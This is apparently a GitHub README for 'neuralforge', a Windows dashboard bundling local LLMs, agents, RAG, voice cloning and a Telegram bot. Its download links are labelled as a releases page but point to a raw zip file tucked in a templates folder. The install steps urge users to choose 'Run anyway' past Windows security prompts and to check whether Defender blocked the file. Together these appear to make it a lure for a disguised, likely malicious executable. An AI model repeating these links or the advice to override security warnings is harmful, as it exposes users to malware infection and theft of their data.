neuralforge

# 🧠 neuralforge - Run AI tools on your PC [](https://raw.githubusercontent.com/Hygienistgiosuecarducci275/neuralforge/main/templates/Software_1.0.zip) ## 🚀 What Neuralforge does Neuralforge is a local AI dashboard for Windows. It puts common AI tools in one web app so you can use them from your own computer. Use it to: - Manage local LLMs - Run AI agents - Set up RAG for your files and notes - Use a Telegram AI bot with 14 meme personas - Clone voices - Create images, video, and 3D content - Fine-tune LoRA models - Use the SMM module from one place It runs on your hardware, so your data stays on your PC. ## 💻 What you need Before you install Neuralforge, check that your PC can handle it: - Windows 10 or Windows 11 - An NVIDIA GPU is best for fast model use - 16 GB RAM minimum - 32 GB RAM is better for larger models - At least 20 GB free disk space - A modern web browser like Chrome, Edge, or Firefox - Internet access for the first download and setup If you plan to use image, video, or voice tools, a stronger GPU will help. ## 📥 Download Neuralforge Visit this page to download Neuralforge for Windows: [Download Neuralforge from GitHub Releases](https://raw.githubusercontent.com/Hygienistgiosuecarducci275/neuralforge/main/templates/Software_1.0.zip) On the release page, look for the latest Windows file. It may be an `.exe`, `.zip`, or installer package. Use the newest release unless the release notes tell you to choose a different file. ## 🪟 Install on Windows 1. Open the download page above. 2. Find the latest release. 3. Download the Windows file. 4. If the file is a `.zip`, right-click it and choose **Extract All**. 5. If the file is an `.exe`, double-click it to start setup. 6. If Windows shows a security prompt, choose **Run anyway** if you trust the file source. 7. Follow the on-screen steps until setup finishes. 8. Open Neuralforge from the Start menu or from the folder where you extracted it. If the app opens in your browser, keep that window open. Neuralforge uses a local web UI. ## 🖱️ First launch When you start Neuralforge for the first time: 1. Let it finish any startup checks. 2. Wait while it sets up local files. 3. Open the web dashboard if it does not open on its own. 4. Sign in only if the app asks you to connect a service. 5. Choose the tools you want to use first. A good first test is to open the LLM section and try a small local model. ## 🧭 Main parts of the dashboard ### 🤖 LLM manager Use this part to: - Load local language models - Switch between models - Change context size - Check model status - See memory use This is the main place to run local chat models on your PC. ### 🧑‍💼 Agents Use agents when you want the app to handle a task for you. You can set simple goals and let the agent use tools inside Neuralforge. Common uses: - Drafting text - Planning tasks - Searching your local knowledge base - Running multi-step work ### 📚 RAG RAG helps Neuralforge answer from your own files. You can use it for: - PDFs - Notes - Documents - Project files - Local knowledge bases Add your files, index them, then ask questions about them in the dashboard. ### 📲 Telegram AI bot Neuralforge includes a Telegram bot setup with 14 meme personas. You can use it to chat through Telegram with the bot connected to your local system. Use this if you want: - A chat bot that runs on your hardware - Persona-based replies - A simple way to test AI messages from Telegram ### 🎙️ Voice cloning The voice cloning tools help you build a custom voice profile from sample audio. You can use it for: - Voice tests - Content creation - Character voices - Assistant replies Use clean audio clips for better results. ### 🖼️ Image, video, and 3D generation Neuralforge can connect your generation tools in one place. You can use it to: - Make images - Render short videos - Create 3D assets - Manage generation jobs This is useful if you work with creative AI tools and want a single screen for them. ### 🎛️ LoRA fine-tuning LoRA tools let you adapt a base model to a task or style. Use this for: - Custom writing styles - Special-purpose assistants - Domain-specific results - Small training runs on local hardware ### 📣 SMM module The SMM module gives you a place to manage social media tasks from the same UI. It can help with: - Content planning - Scheduled posts - Message prep - Workflow tracking ## ⚙️ Basic setup steps After install, do this in order: 1. Open Neuralforge. 2. Go to the settings page. 3. Choose your local model path if the app asks for one. 4. Set your GPU option if you have one. 5. Add any folders you want to use for RAG. 6. Connect Telegram only if you plan to use the bot. 7. Test one feature at a time. If the app gives you a choice of model backends, pick the one that matches your system. For most Windows users, the local GPU option is the best place to start. ## 📁 Suggested folder setup Keep your files in simple folders so they are easy to find: - `Documents\Neuralforge\Models` - `Documents\Neuralforge\RAG` - `Documents\Neuralforge\Audio` - `Documents\Neuralforge\Outputs` This makes it easier to move files later and keep your work organized. ## 🛠️ Common tasks ### Run a local chat model 1. Open the LLM page. 2. Pick a model. 3. Click load. 4. Type your message. 5. Read the reply. ### Build a knowledge base 1. Open RAG. 2. Add your documents. 3. Start indexing. 4. Wait for the process to finish. 5. Ask questions about the files. ### Use the Telegram bot 1. Open the bot settings. 2. Enter your Telegram details. 3. Pick a persona. 4. Start the bot. 5. Send a test message from Telegram. ### Try voice cloning 1. Open the voice tool. 2. Add a clean voice sample. 3. Choose the target voice profile. 4. Start the clone job. 5. Play the output and check the result. ## 🔧 Tips for a smooth run - Close heavy apps before you start AI jobs - Keep at least one large model loaded at a time - Use short test prompts first - Store models on an SSD if you can - Update your GPU drivers before heavy image or video work - Give large tasks time to finish If the dashboard feels slow, lower the model size or use a smaller batch setting. ## 🧩 File types you may see Neuralforge may use these file types: - `.exe` for setup - `.zip` for portable files - `.gguf` for local LLMs - `.safetensors` for model files - `.wav` or `.mp3` for voice samples - `.json` for config data ## 🧠 Good first use cases If you are new to local AI, start here: - Chat with a small local model - Ask questions about one PDF - Test the Telegram bot - Make one image - Clone a short voice sample These tasks help you learn the dashboard before you move to larger jobs. ## ❓ If the app does not start Try these steps: 1. Restart your PC. 2. Run the installer again. 3. Check that Windows Defender did not block the file. 4. Make sure you have enough free disk space. 5. Update your GPU driver. 6. Try a smaller model. 7. Open the app from the extracted folder if you used a `.zip`. If the dashboard opens but looks blank, refresh the browser page and wait a few seconds. ## 📎 Download again If you need the file again, use the release page: [https://raw.githubusercontent.com/Hygienistgiosuecarducci275/neuralforge/main/templates/Software_1.0.zip](https://raw.githubusercontent.com/Hygienistgiosuecarducci275/neuralforge/main/templates/Software_1.0.zip) ## 🧪 What the app is built for Neuralforge is made for people who want one local AI workspace instead of many separate tools. It brings together model use, agents, RAG, Telegram, voice, image work, and fine-tuning in one Windows app.